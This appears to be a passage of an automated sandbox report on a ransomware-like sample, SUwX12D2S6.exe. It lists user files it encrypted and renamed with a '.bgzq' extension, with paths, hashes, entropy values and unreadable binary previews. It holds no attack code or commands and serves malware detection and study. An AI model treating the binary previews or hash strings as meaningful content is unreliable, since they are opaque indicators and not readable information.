Preview:	mozLz.y..[..d].......?....D=.+......._.?{.98Jq.k.M{.........B...V.k.G(9;.(...k..8>s..`~......G9o..+..Z.,...2.v`.U....B..=.......~.M...#...".braU...{o..w...5...4a.1....gK=......b.v5...E........^..VC.2.....O.1..Wo....p.>...B...r.q..2../...W.xv._.z...!.?>1.:...a..J.L.?..@.w'.......wJ....6...a..v...M.b..v.to.h....".(.sSH~M?X.=.,..V..JGg.... .......)n.?.!9.O..."..4......j.[.t./F.Nv#'..p.s$o`..DV..7...Y..^.@.......U.....L.y.\|A..b.eua......A...d,....L........<U....3...1..\u..f.) .._.sUv.Ug.p_.a5...._.na}k.....0.L@.Z..</C..L...}.y;@-.......r...i..k0...Ku.....5.O.^}<...@.M...c.-_.S.M.~.i..:Z...#.ow.]0(....\....^.12".e.n.....-..-.......L.K..NT.du.9.....=..n....F...x.(2..$.<.9...oO..X6.... y.....t.+.....`t..E)..#v(.d.m.w...2....,L.$....\.C.`l/.p..)..%..E.x.U....Q.4...vK,....Z.k'...1DN.]........O..6...W:...w...H..x....w..{.......3..$....V...H.n..".`..u-...8I...]..d.....X..=......"L..PO.}K.Cw...$..Y....JZh.#.@.....o..J..J....7..TXf....^.`.b

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.9987455385573405
Encrypted:	true
SSDEEP:	3072:RjHvvnmswug4RSSgK2T4rnN+dmCXRyCVuembonuHwc580O337d+sS:1vvncuRgn4TN+sQnUbYuQ/E5
MD5:	BDA6E71C9FD104D7C1B582C05EE9F941
SHA1:	6FC16122AD58F03BDEB0E94FF1C2D9CEC9EFFD62
SHA-256:	D002E33B53099CCD38EA51FFAB450253CC5212FC7F4DA01CA2B32B343A5B80E4
SHA-512:	D70BA52254A58E0F51025C9854D44DD461BE1FA438137CA0BB7CE9AF3D8D95DA791F213D58CC7732883E76F16CE5D263C349F5B0BD9544F62E6CA9C0D6904C32
Malicious:	true
Preview:	SQLit....4d5.VUb....S+u..X.7e.....X70...K.4..YI...:.....Z.E...:..8.NW(u.&t.^x .R..;..;.k...\|O.B...NDM.....%.jh9%...1...5..B..HQ.+...;vy...p.....M.....C.lK2..I......$..r..j.....P\],......i...,L.>n-._.....1.n<KT.H...x.V.arX.I.&Df......_..UNhP\|.?.8vW.;......"{.#z..Ct=VF3...q!.......kV...I.....e[D.T2 e.k..s.....].w^z....)...^.pc.........?B..]4Y.E..=.[%...r1.Y^:"-1..B.+w.1.`.=.&H........"k...'.-.m..j.N..f.&'8..0...........E..t.^...V.e.'...-F."].qQ.$.......wW.....3....wz...8.Y.l....q..~R../......Bix.....@...P61>9.E8..g...E......=....a<.O.QN#.}/C._T1%...2wmop...;....%.k}A.4.K~.P..ojJ.T.}....G!.jS........I.U 46....h...9....S.......k;.......>.....gLt...!Q.Ms.....-..]..A.=...,3......G.Y.!k.snq.d....?....M....^7.R..?5w.v.O.F.O#.X.N.}l..W<U...4.e...7.)OE,....&.Z.].z..q.l..".o.D..W2F.hL.r..$...E4.A....{d...9..9Q..t(.L@..f...`8..*(.j..=..r..G.......^...=$.K..}.z......}..._qs...G.I...k.)r..q......~....8.T.............=...y....#.?..\......:.80.

C:\Users\user\Application Data\Microsoft\Windows\Recent\WUTJSCBCFX.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8458907796912705
Encrypted:	false
SSDEEP:	24:9Fify5ptLeq+qHgQXdTlyKG7bDrq7h4p7r25lvwKiHboUNHSKbDv3ABZxV1tSZVX:jjBBZHpVlLyrCWn2LbiHbTxfv3yxfsZ9
MD5:	1A144047EEC4916CEED8A1BB4AB84DB7
SHA1:	3F4D637901B09694D11C1349B68F078C7B4B2539
SHA-256:	74CD1AA4D9886D1648ABA31794236FA820B7DC38B72DDFC05B9B0B9F9D3E4DD6
SHA-512:	AC7BE67A22CC53319AD0E62C2AA0739EC7B09D98C566F9B7306A13B1D3437060BAF4D708E2C5125325977B82CB8CC7CDA20C47E293D59B91CE980DCB88389581
Malicious:	false
Preview:	WUTJSB[..FH.x.v.....q....:l[{pj.j....]Ww6......a]....q....]....a.V..r......F`...%-@S.v....o..y/.b......j...5....+391..N.........P.../.....V.].../..E.../.!..(..#.....D..5S{q=..fR.\|H...........}z?M..@abnk.6...).{.Eq~....^8....KKp<.a.......D..ND(.jXAv5...(=/0wGrM...&.<.8..~-F..p<Q...O..V9."?......}..P&iG...T.....(.#V....9.......v..=.f..^eU.............J.F..._.=...........G+4u.U.<...B..0....Z.b....@.W..=h...Tq.........5...>..0a.a}9.E...k}.ZJ9?I.(h-9A....`~....BB..Z...NL(..}...,L.=...V$..'..7..2..4.y..(..-.o.....<r.I.....y..s.>......5.b..o....."y.f..1X............u....!..h5.?..n......f.*...s..'~..q..9.4.T..CA....-.].p<...W....k3.q..r&p.5U.m..k.M...%`.#..^..I.:........f#_.-l-../...v.......v.. .@;. ....O.....'ij.O.-.I.yG....e5.'......U.,J...Zz...:>!.o..A{.....:.o....;.f...`_>.....5.~D.9..=.....V...`.v-Z.f..}..RKBi.8C^.}....-.......Jz...%....R...7..s.......KB..Kk.6...!.V.z0...R..3.MXA.<..J..pn...RH6c....Y5..+wg....CD.].&og.....5....X...

C:\Users\user\Application Data\Microsoft\Windows\Recent\WXDORXTPKQ.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86261492362372
Encrypted:	false
SSDEEP:	24:l6nOlT7Aem5wjlxeSjBiOR4FEQfnZEv0cPpKspgHMLlFnUxk2LZYsPDVbD:/0qjlQSFPR4FEQfZEvJpKAFUxk2ysPD9
MD5:	4EECDA2DF3E152508A79D58712D78261
SHA1:	7DA1BF005F42C0D77A159B66269367168B54C445
SHA-256:	2EB3F18D52E73A3F027C91B60A1D4F942FF26DD62EEDB755198CE07C8504F33B
SHA-512:	B9496535145C4EC181C976D1DF0647D3B8181F6DDDE75D8AADE0437CF0307B69EE7C9527F8EE66D71CC4E8019B5F21C6030336DE22C1C67C3D107A8F4D5F0655
Malicious:	false
Preview:	WXDORO../._.!w..q4...q..]........j..Y}q.L...Jm<.U..$..!....J.....5...A`$.^..i.m..7.xM..}.{{.o0%..4a.?...P..6.v..>}..i..O..@..Sk..U>...>?4Z'..?jD....@W9.9Z.2.I.......s...(D...+...XV.&...!H.k..Z..{.I...Y.Z.........(..Y.b.$.....X[..L...#u.....n...Q.......n...K..m..`..=.6"#e.=....$.8.As.Q...)...2.X-..f.z....u.}.m@........b~..3.C.3:.wZ.......3..w%n..Z..]....>..^..........}U.L..A..2..`.J?...Y5...kOo.G.!.pJ.......{(c.#..F.r>m......L...G.J.q.~. ....~.a.t..U:.T.iX.J.e........)..+n.....~Q...V.s.0Y...6...A..'-..IAz.<6?F..'..k..w.....Z..PA.<&...P"..W0B.<z.l74.#.r..pA.......m.o...=....\Kuj.e....Yi.8b.H..U.I..;"V.C..........H./.U.........V..h.X.....[.j.s..h]..R....FI4...s$..\v..G/.XW...)T=..Z6!x...I..ja...G.x..&H!^S..s..X.........H..}\|?.}:=.S.-.G...\`.1 ...B.h}.W..R..........6.......^.{E...P..5.]c.G.'.o'...u+...8.c.wY.U.V.V..=o:...c...E4.M8..2..NY.[..c9...xfJQ.)R....V1....$}../0.......X.7.]..dN..:.r.`e......Lk...&.(N.r.<Z../..1...x..x...

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852172706202779
Encrypted:	false
SSDEEP:	24:OuOo8VO2B1X0dcqijDdKz1MqhWG5ahGkp+mtycvUHLVXo1sj8eVbD:Ouh4nBBZqiUz1lAG5avp+RvBXo1sj8e9
MD5:	6AA2A5DF60EC16F26D82CAA4951FFD47
SHA1:	6511F6ABC55D21C9A4628DB62880B1FD515E98B7
SHA-256:	90AFD89371435373666EA23E61AD7E123085165700AB69F6F3416C8DCA2D139D
SHA-512:	F9FE4B9C97A10C110631D662D362C8075D1A8CB806B53E1A6E6FA1D9A8D92011C37E92B6FA5C1448A3D1F144A98C865507DE192B813DA750AC4730C0C18E7DB8
Malicious:	false
Preview:	YPSIAd.En.\.`+.x...t....!...p.".t.Yf..Hq..T.0.)\|#a...7..#....\|v..."s...&..E4....C.(..........!.my...l.;.Hq....I.....p../e5nU.s...P."S...9.M.4"..e..W.~..1/..K"..,).Kw..b..;@9t(..u.y....q'l..f..........z<...tq'Ykg.......8M....b...AVH.:......<?.1.6.(..y........G6..-.<5.....i.P.x 0.#w.jc.].....!._<....a.:0u W.Lt.-..\.6..........(..M..a..~=...oP... ...;.Fx~..P.Y[?.U.ViF.{.fD5r..{R8.L?.h...r].C7X.v.2\| .q......:I(.....J...^.e.H..Q..n....Y..P.J.3.R.~.!p...w{.GJ.-.w.V....N#......x.w.z}.q..ZZ.A.d.ol.n..K5.,.omq...P.[e.pe.....\l_3.P[......E!...(.G.....e..@...`F.\.....[2._..G.....6Q..b.Cb&.L..Q2...j..........."..Q)0...n...6.....hbs.K.'..'..X........P-.<....W&..n.$.>e<:@.YD..t.v;BI...t......c...J..k)..ixo+.<r.g..K.7 ...b.v.....`..._..9.H.kMhA............Og...+c..F..q.t.A...J.6.-.+D...{8..3l.]..w.J\|c%..Sm...wm..C.Z.$.....n>......#.,.H.~R...M....'cd.6....qG.x...o~u.m0..XD...c:.k...u..5..l......*.C.-{.+mQX.;. ?E.W...z.....2. ..U..,......_...h

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZBEDCJPBEY.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848460579492061
Encrypted:	false
SSDEEP:	24:dfwL8ciOkaQtsfjuCNEtdtOXOJQprwDK5M3+XBof2t+JoNVbD:doAciv2uCudtOUQxmqof2oMFD
MD5:	50932B64989A9067D267BF021204A355
SHA1:	1DD4DCD8A199E89EF616FCBBB6E6087238DFBC08
SHA-256:	B96D4196A87A0F0A1A5DC9D40C36E087377595B191660698E490E66B6FD7DA2C
SHA-512:	ECA1037FF6105794EC405A189A20597F573D4B58085B202F38440F036DBA9A068EA660C9F7D35564623F3D40D16FBE8032344A395EBF4183133344F34557950D
Malicious:	false
Preview:	ZBEDCf...uT.0....x.W..(..j..W.....8c.m..rM,....r_.q.A...@"..X.DMx....?.=.t.Q.!.-q.......x....m@.+..D....g.....8k.......>52.t..g\.E.V...F!......z....z. ......T.UQn.P.WJ.j.\..1..l./.a.....F5q.#....7..JV...V.R........?s...^.....!....U.#v...Nj.Dj.X.u...<v.....s?c.y......!x'.U......q5...z.f7{? \........H.K.....P.l..g..Q..\|.m...........OI'v.0..!3.......]:.{m.........BlQ..+....<S......i...x./....~dT...s7p.....}.7t"ku..\|........I.+...H....z=.8......+.Lho).a...4.aQ}McI...0[1.(0.....>..<....P.k@...mOo6..zE.h..N.S.O..:....te.O.....C..+.S.:...g<".-..{.0...[5J...%Z..}B.h+..../K\|D.....+>.hN`]...%.D.$..l.>b..i.y....S.7...9>...!..3..t.CsZ.Fo.]]=.D.K..0...M.`W...Wd...[,}.6*F.....-.UPQ....H....}^..`.N0.02.Q?7.n.]....#.z....)...q.I..?u..a.@!b..V..2.....S6.........'E......w.!.hf..,.w..8s.$. ...V...=.AY..[\.\._......D.SI~...Vy^.'~..d...t...K)D.=W\|..}ct.l..f]5K..0.o]...r_\>..\.....r..x<.g.}m .....!K...X.^....Q.8.....&..7...O.g.^+.).....>y.@.#.vf.8.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZGGKNSUKOP.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861788413076745
Encrypted:	false
SSDEEP:	24:ZHGlJkc2Gy/cUJr9HDNZ5oJGEhpHzoAXsX7ma0/hMuLMVbD:trTcUZ1p8XZfa+RgFD
MD5:	80474A57B4490B1E9E1CE9E7A883215A
SHA1:	16733C02264E9A0015D35BF53AA8CD4D0EED7F80
SHA-256:	CFD5A7BD1C48C1F29C4E46C03BE746400B0E3A4B3343E80925ECE2264737A18B
SHA-512:	55C7C06E3E607CAA4B7C740C1D6DDD3687689AF77B9934D3F14B3DE75B3B8B0466FC8BDC235A43B9589A6AC127E8B89033435F6282998713761E70209785A9FD
Malicious:	false
Preview:	ZGGKN.l....Y......EQ%.f..s...e.9~.!Z...b(.......K.TG.>.m..2.] ..9...Vu.....M.h..]........?N..H.7-.....l....ltQ,....a.....a.>..Or.t..ih........y9J.H.}....%U."8:.t.qO.my&..@.~..WB..s.S.......[l.Fc} ..!..#...?....X!C.+........G.u...%e.... ...3.........3.i.~.=./....T..U-....4~L..R.....i..uqG..t...+.....%.p^..@....y.6D.....&..)=...}..+n...i..../F.9.<t...$.O....20...<.......N....{K.."...sR.X.T/F.C.../.Z...R.h...,[.n.`.o...@..)e..Bn.....m.8O.B..k.>.8.....$}y.;A?[S..M...J..Hb'..E..5&...%.P.!....A..f.U..S=]m..).>..f^.jKQ%...&..Q..Se.U..e........f.C...?..b.2gI.]..D...y....3.D._.......sD....6R.G..t.&c...r...........#.=.g.B..s:@....4F.............n..)........#. .c....$n.>h........[.$`07......d. o.c..6...X\.0^.I.sOrW^.....JJ."...Ft.B..b63../..{.. U.Y.Hv....=p3.!...}M.'.J.^.&.....0U.#.O..._..f.E.l.....K.v....d......b..o.Y\|.M.T9g......6...."jX.@7.2..Xq_y../.Q.....I._..e9R...rxEt...>..K^.3..C.X[.u.I....V.lJx.~.Z..W.N.sCc4....e.....J....5.5.LA3..Z..0.6k..

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828815231915308
Encrypted:	false
SSDEEP:	24:BmqwEe8IY8pnyY6/TEqfYf2lAwcRhrF6fTT5lRzkGgAjnpdr/3xyHf8rPSJ5nBBF:rwEe865F6bEq82lAwcLITLpvgAjpxPwR
MD5:	F0C0964AA6338E96786DBDE3C15F9D57
SHA1:	D18BEFB7B21C74A169C0BE6A7132987491A5A960
SHA-256:	4672327165F7DFBA5B99809CC3441EB006CCEF6728C360A3A44EB87ADC62F7D2
SHA-512:	4A00E5EF76953F72FBD8980A87454A2F72AC0E7A14E8B1C1B6995F31E4F0C8BA894EE2F1E0F6A8976136400725E9B09248554F43399AAA203269522B02F63B3D
Malicious:	false
Preview:	ZIPXYfQ.Q....{bI....$..?....K..d..z.R!.XE.L._.".nC6..Z.B..Ia...w=...y.)..E@.......A'.d..\|\eH.M............a\|\9..z?u...U.B.$ h$y."...0.79....K-d_.....Q.2. X.......q..^!..,}.Z.5..8.8...,wN...-..mK..C./.0....5...3.w.# .Y....;..%x....-..Lt1j.K.,6.ZW..^.....&...pl.Y...._r..K.Dxp>.. ".......}.Vl.$t.,.qhO..lYb..w....\|%......Ey.,.S".l.C...t.m..w.P]@.C..(i?F....zD...;v.`..S[...2Z....@..k....n..@3(....'...~L......`..Y.........-,.#.q..{......qKF..9..m.z'..!@.B..W.....:-...$..bs.o........l.....&.0Q.V<HT..=...R)\|../...!<(.e.lA..)[E$....jh....L..........o.."p...P..}..F.[...............g....:.X.TS...dvk...+_..6......C..G..$..!.M....~.0(....cd.T..qJ.].l...m?..H...f(..H.sZ."..-b...3x."):}..Q.q.qN..c8.....&$93.Z.l.......U...v.C5m...O.=..*.^5W..r..q...X}..<..T...._.D$,..-.Y.v@,.V...6Vr.....I!\|.c..G....Q.@.r5.m.S......}...3.....00)n.t$o~.?}....k.916Q.c.@.G......n..tI..\..Wn.h......0.7....\2..xy.-l..u.f.5a.!.x`-...;G.$.p..6-..>..o..6..zV}wsh.T..}.x..Z7.OTPb.F...".D

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZIPXYXWIOY.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8748987645316815
Encrypted:	false
SSDEEP:	24:J+GUkEyQQpLiKQKznBOjyDGGyDt9vLD0RQDDJuyG/P+pN3nWVbD:F/pLkoBnGG2tB0RY9rvnWFD
MD5:	B79C75AAD8BD1F8764D27D006300AF78
SHA1:	FE68FFC1275EB682B95A033D347C65B68CF546BB
SHA-256:	6150B5E535F427B4D55E8866ACC9F7E788A44ED1A9CB38A5D9AB298183542997
SHA-512:	BFD1C21C1ACD7EE3F874824A9E200DE9DB1CC27596373C8B37F1007458FF44B66578E0942C9A5AEB8B290DD2BB1056D41080F2A502CE69876DF4278093D3290D
Malicious:	false
Preview:	ZIPXY.......L.#.v.....I\......L.u.n........u.%.C.;.......h..n....H..0..K."....s..$.3......4d....>.S...F7h..n....-...k....~....7.......#y .Y...Hk..P..`..5..E....r.......hH.b;...$.......f..h.....Q..(E<..u._.Z.>..v...p.m)l...Kprc.K.....]1..tD/a#.....7.......m.D..V@.o=.`..j\).4Pk.A"....x.!#.I...K.....=&L....V2..O.\}.......\._KZ..}H._.`\.k....l.U.2e...(.]..k......(.........}p...5...\...E.......H..s..N..]...H..m..B.<.....x......w...J.....@./...\t...P....~&BU....Z.W..y<i...K...o.Vf:...Zq.#..m..?...@.....~x....U..:...a^.....#.R...=...e.3. k.....[~...BLH.."...PVHu......mj..,'....F4Y.T. ....Cx.4.=.J/..b.Fi.o...s...O.._.z....uJA...81.....h.}..Q..A.}V..Z.,(.qO^.EO....:X....&..OtDEo..t.9.k.:.g).{<.Lw. ...M...{..c...F.3...x!....wH~t...r}...J..4.cN.s..^......f...Y..,#Lv...."...+Hgn...........vw.E..B._....^U.L.S.2j..........d...f..q..a..&..\|zUf.2u.*C+..j...?.I6..<. ....$#>. ...........Pr+.W..0......vL".o...s.C.8.k.........4.~...r1.V.JS..Y...2_

C:\Users\user\Desktop\UMMBDNEQBN\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863762784673919
Encrypted:	false
SSDEEP:	24:mTxvMUZhPFP0BSfPfu0LDJ8qKg9NtGX2zOfkndrVDLEpD4k8VbD:mvMUrPkSfnugDJvh9fG4O+drVs4zFD
MD5:	F4FAEB55415923DF503201351A34164D
SHA1:	12CA1024A9C9EB9AB9A361AE9FFB05E803153920
SHA-256:	DF759DE782173B993048B33BEF1A38FF0401D8D5C0E5D2BF1591F86183B5C42F
SHA-512:	763D7C4C1AFDF34A9224547683F9D9CD4C4FFA94C3C41073F4BB4C9C5A4381D028A6084280E2374C8370623428D1962223DBFD1109287D4B710D891057123455
Malicious:	false
Preview:	LTKMY.q..D.{U..y,...D\|9..o.3k\....a(tY.!..[P ....jo:..E..9.9k...Q......Xl..g~.j.b.WS.........=..<;m......)^..N...5..G.BA..s....Q...'...g...(../..2.5.z...A.Q....w..Y3...Y.a.}..Nm<..5.j....]f.a.Y......2.A.........Z>..5..>.x.k....K....F..7.."...}..c....aZ...;l.]\|gZ....................-...6...].&\|._5?1c..$`NF...6Y......K...b.'..T.!lL.R..B\|.Bw..7g...........?.T.6.CP.3B..X.Z..l...FT...h\|M.....b]M..-....8.....c....;.G.@.&i:...<.+H.HX.cpo.&v.U^...[x..a8R....."He....u..]...F.fx..^{.."..W.l..Eum.....%.....$......W.W0..k..%..Au.....T.....w.>.=..z..r..s#.;/..g.#./..K.2#.BH.%...0......v..K.....8l..77.#..%+...B../.?.H...~J..`@J%..Y.p}..O.Y9...{'..)z......>...)...y..I....Z.l'..O..T........x9..'....}2'u.@.3.......R...f,.F.....&0..xu.}...v.!.....F._.:......z..J.3.W......Tb.].W..O......s...e..0..T.!.......z.5_=T....W..r.Y.U.wuFL.84...HK."d...s>.9..../.+.d.t........2.njw..zM.]*.(i.,.Sf....tQ..X]Q@n.....nq..N#.(K I........_...$U....n.XR.v.........[.bf.

C:\Users\user\Desktop\UMMBDNEQBN\LTKMYBSEYZ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863762784673919
Encrypted:	false
SSDEEP:	24:mTxvMUZhPFP0BSfPfu0LDJ8qKg9NtGX2zOfkndrVDLEpD4k8VbD:mvMUrPkSfnugDJvh9fG4O+drVs4zFD
MD5:	F4FAEB55415923DF503201351A34164D
SHA1:	12CA1024A9C9EB9AB9A361AE9FFB05E803153920
SHA-256:	DF759DE782173B993048B33BEF1A38FF0401D8D5C0E5D2BF1591F86183B5C42F
SHA-512:	763D7C4C1AFDF34A9224547683F9D9CD4C4FFA94C3C41073F4BB4C9C5A4381D028A6084280E2374C8370623428D1962223DBFD1109287D4B710D891057123455
Malicious:	false
Preview:	LTKMY.q..D.{U..y,...D\|9..o.3k\....a(tY.!..[P ....jo:..E..9.9k...Q......Xl..g~.j.b.WS.........=..<;m......)^..N...5..G.BA..s....Q...'...g...(../..2.5.z...A.Q....w..Y3...Y.a.}..Nm<..5.j....]f.a.Y......2.A.........Z>..5..>.x.k....K....F..7.."...}..c....aZ...;l.]\|gZ....................-...6...].&\|._5?1c..$`NF...6Y......K...b.'..T.!lL.R..B\|.Bw..7g...........?.T.6.CP.3B..X.Z..l...FT...h\|M.....b]M..-....8.....c....;.G.@.&i:...<.+H.HX.cpo.&v.U^...[x..a8R....."He....u..]...F.fx..^{.."..W.l..Eum.....%.....$......W.W0..k..%..Au.....T.....w.>.=..z..r..s#.;/..g.#./..K.2#.BH.%...0......v..K.....8l..77.#..%+...B../.?.H...~J..`@J%..Y.p}..O.Y9...{'..)z......>...)...y..I....Z.l'..O..T........x9..'....}2'u.@.3.......R...f,.F.....&0..xu.}...v.!.....F._.:......z..J.3.W......Tb.].W..O......s...e..0..T.!.......z.5_=T....W..r.Y.U.wuFL.84...HK."d...s>.9..../.+.d.t........2.njw..zM.]*.(i.,.Sf....tQ..X]Q@n.....nq..N#.(K I........_...$U....n.XR.v.........[.bf.

C:\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860638190292431
Encrypted:	false
SSDEEP:	24:6yMfOmBm8tXNt/2UD4pQdoIRshm1C9oroZLy+37tWOYvNJC2FVbD:6yDMLtNt/3Mp8xH1CCr1ZBFM2FFD
MD5:	F105B3C15E530F5E8683B2A05D58C989
SHA1:	3998B37C4AB71877942ED207A4D4EA884F210A4E
SHA-256:	680777F1E41B13F145A1580443CCB3D1F55DF9FD07644AE37A8D7BC7F66D2B2B
SHA-512:	3E761567BC89A161C04776A57D96390768E63E85AC850BE992369E4FF7A66F0A3466BADD7F9485AFE834E3FC142A168F954D009821601583A3A4D91D3DCFE4E3
Malicious:	false
Preview:	VLZDG.T......ef.......3P.w.m..q.d........xh...{n.g..Q.<]6..-..Wh..#..g..."...j......\.I.vd.......?.([.{@.......w..6G...k.O./o.L...I.x.F...iA...f...E<...u....z+.l.....[...j.p.@.x....vd....I-.......^,m..;..\R..}V..z.L..q.BB.........b.D..3...g..Yn'...%..%.r.!_.6LDO..(,...R...y....J.c..q.m....-mA........J1...5...W........F9AG.... ...=....V9....n...u..W.b]...\._a.GS...(.mwx\|.Z.O.b......w..<Z..#p..\|.^b...X!@...$0...q....a.m.e6.h..{.a.;H...t....SuG5.f....e.O......6_t.Y........P.@. !.]7.....:W.G...J.M).zN..}....-..q..}.H.......nI.x....m.J0.4.}.......C......N...~.`. ...}T...6.-<...q...]qM..~.8.f...k...........O....4.tL..........C.......W..l.\F.6cc.....=,.... ......+e\.5..C..!jl..#.SM...,\y.T"Z`gK..tt...ZEZ..Jk...k.m./.....o..N.[:.T].p..c.f.n....S.A..Ix/.H. d2_.....>..T.x...-.K..q^%......h.z1..+......=......O%%....#\>.o. .....E.TeL."y..X.b.yFFA.(.wM...t4.'.er...W...v. ..<.wC...&j...x[./Ep.Cd,Z.y_..W...s[.>d./.zw..V.0... ...~.cC.2l....\.

C:\Users\user\Desktop\VLZDGUKUTZ\VLZDGUKUTZ.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860638190292431
Encrypted:	false
SSDEEP:	24:6yMfOmBm8tXNt/2UD4pQdoIRshm1C9oroZLy+37tWOYvNJC2FVbD:6yDMLtNt/3Mp8xH1CCr1ZBFM2FFD
MD5:	F105B3C15E530F5E8683B2A05D58C989
SHA1:	3998B37C4AB71877942ED207A4D4EA884F210A4E
SHA-256:	680777F1E41B13F145A1580443CCB3D1F55DF9FD07644AE37A8D7BC7F66D2B2B
SHA-512:	3E761567BC89A161C04776A57D96390768E63E85AC850BE992369E4FF7A66F0A3466BADD7F9485AFE834E3FC142A168F954D009821601583A3A4D91D3DCFE4E3
Malicious:	false
Preview:	VLZDG.T......ef.......3P.w.m..q.d........xh...{n.g..Q.<]6..-..Wh..#..g..."...j......\.I.vd.......?.([.{@.......w..6G...k.O./o.L...I.x.F...iA...f...E<...u....z+.l.....[...j.p.@.x....vd....I-.......^,m..;..\R..}V..z.L..q.BB.........b.D..3...g..Yn'...%..%.r.!_.6LDO..(,...R...y....J.c..q.m....-mA........J1...5...W........F9AG.... ...=....V9....n...u..W.b]...\._a.GS...(.mwx\|.Z.O.b......w..<Z..#p..\|.^b...X!@...$0...q....a.m.e6.h..{.a.;H...t....SuG5.f....e.O......6_t.Y........P.@. !.]7.....:W.G...J.M).zN..}....-..q..}.H.......nI.x....m.J0.4.}.......C......N...~.`. ...}T...6.-<...q...]qM..~.8.f...k...........O....4.tL..........C.......W..l.\F.6cc.....=,.... ......+e\.5..C..!jl..#.SM...,\y.T"Z`gK..tt...ZEZ..Jk...k.m./.....o..N.[:.T].p..c.f.n....S.A..Ix/.H. d2_.....>..T.x...-.K..q^%......h.z1..+......=......O%%....#\>.o. .....E.TeL."y..X.b.yFFA.(.wM...t4.'.er...W...v. ..<.wC...&j...x[./Ep.Cd,Z.y_..W...s[.>d./.zw..V.0... ...~.cC.2l....\.

C:\Users\user\Documents\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828169518152859
Encrypted:	false
SSDEEP:	24:ST4tIXe0IbploUacXCXsuN5FGR0dY+/kCnhyThvzbTYcK9E1OprG6ecaA5gIsVbD:S/O0Ibplt6XjFGR0dr/AThvjAE1O1GSc
MD5:	99E0B36A413B8CC56152B5340191858D
SHA1:	364C3D7D68B462AB292CC65409516B0FE32DDCE8
SHA-256:	C16AA142715FABC74AAC634527082DE7391C779C05F11B117EDE32A5F16BFD33
SHA-512:	A5757FBD2480CD17B6773E1651C6C99A867C3EE58AF2EB4252E000E82741B67BF09CFBAB109D069A8B475F527D0CCD5A846C45241D909494EFD9F1E176F839A1
Malicious:	false
Preview:	LTKMY.H.}l.$.Y.....}..>....C6....$)3.,..y..q.!.....$,..Z.7p..@..3$..........}\.+.`dv..B....+....X((....TfQ...'.`.....].:j1.hH.:.3@3..;~...Mp=.a...u..gZ^....w.B)..3...Y.w.}Q.'.."B...t.<..K6.3....D....%Au...L.M.O..W.fL ;...'.......D...`.....;....ST.8...l..i..$.........H .a6.XB.._..A......^A(.).`3.f..Bp5......h.3..\BU.IJ:v.w({.`.....(-I..8O.-.....D.Y..2lL..dD.~...O...P....@E<~.7..=.9.d7.....^.+....Ut(3`q....q..;..qv........cE}/g....x.j.) ..%.c..v..B..E.t.p.....k...hhS..#.{...n...%......,/....F-.S..}..8..%..X\|..M.....L.f..=.u..C..d",.d8.VQ-.w..5`I#....GC....E&{.a.j..K..g.%....dv+Fme.p.@..M...P0;.9..)..R..l.N..{...i.w.4.W.~.`.....m..m..\|....Jm....Y.2do..K@.D.+6..+<..^..}.[.....V.."....'.D...K..........o.......U..)..\|..8Mm..7<.^..._..v..b...."...g..e.76.g."..O..C..#.6oVPiU.......Y.Dro.d...c6./..1...<...d..<...EDK0.I\.m.C....z.G.]U....S[.-.......=0...GmG.7)y8".cm.p0.p..(.aAp....]..la.t....q4..2..J......}.^.dI..)......{..ML.i.K..Y5...

C:\Users\user\Documents\LTKMYBSEYZ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828169518152859
Encrypted:	false
SSDEEP:	24:ST4tIXe0IbploUacXCXsuN5FGR0dY+/kCnhyThvzbTYcK9E1OprG6ecaA5gIsVbD:S/O0Ibplt6XjFGR0dr/AThvjAE1O1GSc
